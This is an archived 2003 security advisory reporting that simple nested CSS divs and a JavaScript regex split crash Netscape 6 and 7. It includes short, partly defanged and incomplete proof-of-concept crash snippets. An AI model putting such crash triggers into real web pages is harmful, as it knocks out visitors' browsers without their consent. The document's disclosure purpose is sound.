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Netscape crashes by a simple stylesheet...
25th Feb 2003 [SBWID-6024]

	Netscape crashes by a simple stylesheet...


	Netscape 6/7


	Jocke [jux@beer.com] says :
	I've found out that some simple CSS-code can crash Netscape 6 and 7.
	This is a simple html-page containing this code:
	 <div style="position:absolute;">
	 <div style="position:absolute; overflow:scroll"> 
	 Update (26 February 2003)
	dwm adds :
	while we're on the subject...just this week I reported to Netscape  that
	this simple invalid (?) use of regex in "split" can also  crash  7.x  on
	windows. Woopdidoo.
	Tested: Mozilla/5.0  (Windows;  U;  Windows  NT  5.0;  en-US;  rv:1.0.2)
	Gecko/20030208 Netscape/7.02
	<--script-- language="JavaScript">
	function reformatDate(someDate) {
	   var tokens = someDate.split(/(\/|-)/);
	   if (tokens[1].length == 1) tokens[1] = "0" + tokens[1];
	   if (tokens[0].length == 1) tokens[0] = "0" + tokens[0];
	   var result = tokens[2] + tokens[1] + tokens[0];
	   //return result;
	<form action="" method="GET" name="form1" onSubmit="return reformatDate(this.dt.value);">
	MM/DD/YYYY - <input type=text name=dt> 
	<input type=submit>


	Mozilla seems unaffected

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